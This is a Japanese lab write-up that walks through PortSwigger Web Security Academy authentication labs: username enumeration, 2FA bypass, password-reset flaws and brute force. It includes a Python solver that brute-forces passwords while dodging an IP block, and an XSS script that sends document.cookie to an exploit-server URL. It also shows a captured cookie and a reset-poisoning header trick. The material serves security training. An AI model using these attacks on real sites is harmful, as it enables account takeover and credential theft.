# Web Security Academy Authenticate Vulnerabilities writeup
[toc]
- [username list](https://portswigger.net/web-security/authentication/auth-lab-usernames)
- [password list](https://portswigger.net/web-security/authentication/auth-lab-passwords)
## Username enumeration via different responses
`username list`使い、Burp SuiteのIntruderでBrute Forceを行うと、あるusernameでpasswordを間違えたときの挙動が`Invalid password`になることがわかります。
このusernameをコピーしておき、password listを使いBrute Forceを行うだけです。
## 2FA simple bypass
- 与えられている条件
- my credentials
- wiener
- peter
- victim
- carlos
- montoya
ログインは以下の手順で行われます。
1. username: password : [POST] /login
2. 2FA画面 : [GET] /login2
3. 2FA code : [POST] /login2
4. /my-account?id={username}
victimのusername, passwordは取得しているため、2FAさえ迂回できればログインができそうです。
2FA Codeは4桁なのでブルートフォースを行いたくなりますが以下の理由からできなさそうです。
- [POST] /login2は一度間違えると二度と送れない。
- [GET] /login2に対してリクエストを送信すると2FAが新たに生成される
- 2FA codeは新規作成されたら古いものは破棄される。
そのため、そもそも2FA自体をやらない方法を考えてみます。
つまり、`1`が終わった段階で、`4`にリクエストを飛ばしてみるということです。
**手順**
`1`でログインが成功した際のCookieを取得しておきます。
取得したCookieを`/my-account?id=carlos`のリクエストに貼り付けて送信します。
上記手順でログインが確認できるはずです。
## Password reset broken logic
https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic
Password Resetを行う際の、`[POST] /forgot-password?temp-forgot-password-token={:Token}`のパラメータに明らかに違和感があります。
```text=
temp-forgot-password-token=s3t5r45rdhfo8upxpxh5mh2aeenhekp3&username=wiener&new-password-1=password&new-password-2=password
```
usernmaeを受け付けていることから、ここを変えたら任意のユーザのパスワードが変更できないかを見る必要がありそうです。
ということでやるとできます。
また、パスワードリセットリンクが何度も使用可能なのはどうなの?という気持ちになりました。
## Username enumeration via subtly different responses
https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses
存在するusername, 誤ったパスワードを入力した際、本来のエラーメッセージ`Invalid username or password.`ではなく`Invalid username or password`となります。
responseが異なるユーザ名に対してpassword listでBrute Forceを仕掛けることでラボがクリアできます。
## Username enumeration via response timing
https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing
タイミングを見るため`Reseource pool`を設定するほうが良い気がします[^1]
Resource poolで、`Maximum concurrent requests: 1`, `Delay between requests: 100`にしておきます。
適当なパスワード`inv`を入れ、usernameに対してBrute Forceを仕掛けると、`auction`だけ少しレスポンスが遅いことがわかりました。
responseが少し遅いアカウントに対してpasswordを総当りするとログインができるはずです。
## Broken brute-force protection, IP block
https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block
5回ほど誤った認証情報でアクセスするとロックがかかります。
4回誤った認証情報 + 正しい認証情報で試してみます。
そうすると実質永遠に試すことができることがわかります。
めんどくさいのでコードを書いてしまいます。
<details>
<summary>solver.py</summary>
```python=
import requests
import os
URL = "https://0a90003d034c9fde80e5d1ad00d8005c.web-security-academy.net"
# burpに通信を通すためのやつ。
os.environ["REQUESTS_CA_BUNDLE"] = "./cert.pem"
os.environ["HTTP_PROXY"] = "http://localhost:8080"
os.environ["HTTPS_PROXY"] = "http://localhost:8080"
password_list = [
"123456",
"password",
"12345678",
"qwerty",
"123456789",
"12345",
"1234",
"111111",
"1234567",
"dragon",
"123123",
"baseball",
"abc123",
"football",
"monkey",
"letmein",
"shadow",
"master",
"666666",
"qwertyuiop",
"123321",
"mustang",
"1234567890",
"michael",
"654321",
"superman",
"1qaz2wsx",
"7777777",
"121212",
"000000",
"qazwsx",
"123qwe",
"killer",
"trustno1",
"jordan",
"jennifer",
"zxcvbnm",
"asdfgh",
"hunter",
"buster",
"soccer",
"harley",
"batman",
"andrew",
"tigger",
"sunshine",
"iloveyou",
"2000",
"charlie",
"robert",
"thomas",
"hockey",
"ranger",
"daniel",
"starwars",
"klaster",
"112233",
"george",
"computer",
"michelle",
"jessica",
"pepper",
"1111",
"zxcvbn",
"555555",
"11111111",
"131313",
"freedom",
"777777",
"pass",
"maggie",
"159753",
"aaaaaa",
"ginger",
"princess",
"joshua",
"cheese",
"amanda",
"summer",
"love",
"ashley",
"nicole",
"chelsea",
"biteme",
"matthew",
"access",
"yankees",
"987654321",
"dallas",
"austin",
"thunder",
"taylor",
"matrix",
"mobilemail",
"mom",
"monitor",
"monitoring",
"montana",
"moon",
"moscow"
]
count = 0
session = requests.Session()
for password in password_list:
if count == 2:
session.post(URL+"/login", data={"username": "wiener", "password": "peter"})
session.get(URL+"/logout")
count = 0
else:
response = session.post(URL+"/login", data={"username": "carlos", "password": password})
if response.status_code == 302:
print(f"carlos:{password}")
count += 1
```
</details>
## Username enumeration via account lock
https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock
usernameに`username list`をセットし、パスワードに適当な値を入れておき`Null Payload`を5に選択してブルートフォースを仕掛けるとあるusernameの際のレスポンスが異なり、アカウントロックのエラーメッセージが出たことによるものだとわかります。
3回の試行でロックがかかることがわかりました。
このアカウントに対してパスワードでブルートフォースリクエストを飛ばしてみるとなぜか一つだけエラーメッセージがないものが現れます。
その際の認証情報を使ってログインを試すとログインができます。
## 2FA broken logic
https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic
ログイン周りを試してみると、`[GET] /login2`の`verify`Cookieに入れたユーザ名に2FA Codeが送られているこそうです。
2FAは4桁の数字のようなので、総当りができてしまいそうです。
`Cookie: verify=carlos`として、`mfa-code`に対してInsert Pointを指定し、`0000-9999`で総当りを試行し、302になった番号を使いログインを行うだけです。
## Brute-forcing a stay-logged-in cookie
https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie
ログイン画面に`Stay logged in`が付きました。
与えられている認証情報でログインすると、`wiener:51dc30ddc473d43a6011e9ebba6ca770`をbase64 encodeしている値を持っていることがわかります。
`51....`はmd5でハッシュ化された`peter`であることがわかります。
つまりログイン情報っぽいです。
`stay-logged-in`Cookieは、sessionに値が入っていなくても正しい値であれば認証後リソースを取得できます。
ではラボをクリアします。
今回はHackvertorが使えます。
以下のようにしてIntruderのインサートポイントを設定します。
```text=
stay-logged-in=<@base64>carlos:<@md5>§§<@/md5><@/base64>
```
インサートポイントに入れるものは、`password list`を設定しIntruderを回すと認証後リソースを得られクリアできます。
## Offline password cracking
https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking
XSSがあるらしいです。
`Stay-logged-in` Cookieは前回と同様md5でハッシュされたパスワードとusernameがbase64されています。
HttpOnlyはついていないので、XSSで抜いてくる感じでしょうか。
```htmlembedded=
<script>
let exploitServerURL = "https://exploit-0aa5002c035a410f81d6a192014900bd.exploit-server.net/exploit";
fetch(`${exploitServerURL}?cookie=${document.cookie}`)
</script>
```
```text=
/exploit?cookie=secret=VRt0BEVCMasyOozD1zFWxhI6pB1HKZmQ;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
```
これが送られてきました。
あとは、[crackstation](https://crackstation.net/)なりに入れてhashを解析してもらい出てきた認証情報でログインを行うだけです。
## Password reset poisoning via middleware
https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware
Password Reset Poisoningと言われたらああはい。になります。
ただHostヘッダを変えるだけでよい。わけではなさそうです。
こういうときは、`Header`を使うことを考えたくなります。
`X-Forwarded-Host`ヘッダを使うと良さそうです。
`X-Forwarded-Host: {YOUR-Exploit-Server-Domain}`をヘッダに付与しPassword Resetを送信するとうまく行きます。
あとは、送られてきたURLにアクセスして、パスワードを変更して終わりです。
## Password brute-force via password change
https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change
ログインするとパスワードリセット機能があり、ログイン機能には、アカウントロック機能がありそうです。
パスワードリセット機能は、現在のパスワードを間違えると`/login`に飛ばされてしまいます。
このとき、new Passwordが一致しているとアカウントロックがかかってしまいます。
現在のパスワードがあっていて、New passwordが一致していないときは、`New password do not match`がでて、現在のパスワード、`New password`が一致していないときは`Current Password Incorrect`が出ます。
この挙動を利用してパスワードに総当りができそうです。
2つの異なる値をnew Passwordに入れます。
これができたらusername=carlosとしてpasswordに対して総当りをおこないます。
`new Password do not match`が出た場合、それが現在のパスワードであることを示唆しているためそのパスワードを使用してログインを行うだけです。
## TODO Broken brute-force protection, multiple credentials per request
https://portswigger.net/web-security/authentication/password-based/lab-broken-brute-force-protection-multiple-credentials-per-request
## TODO 2FA bypass using a brute-force attack
https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack
[^1]: 本当に良いかはわかりません。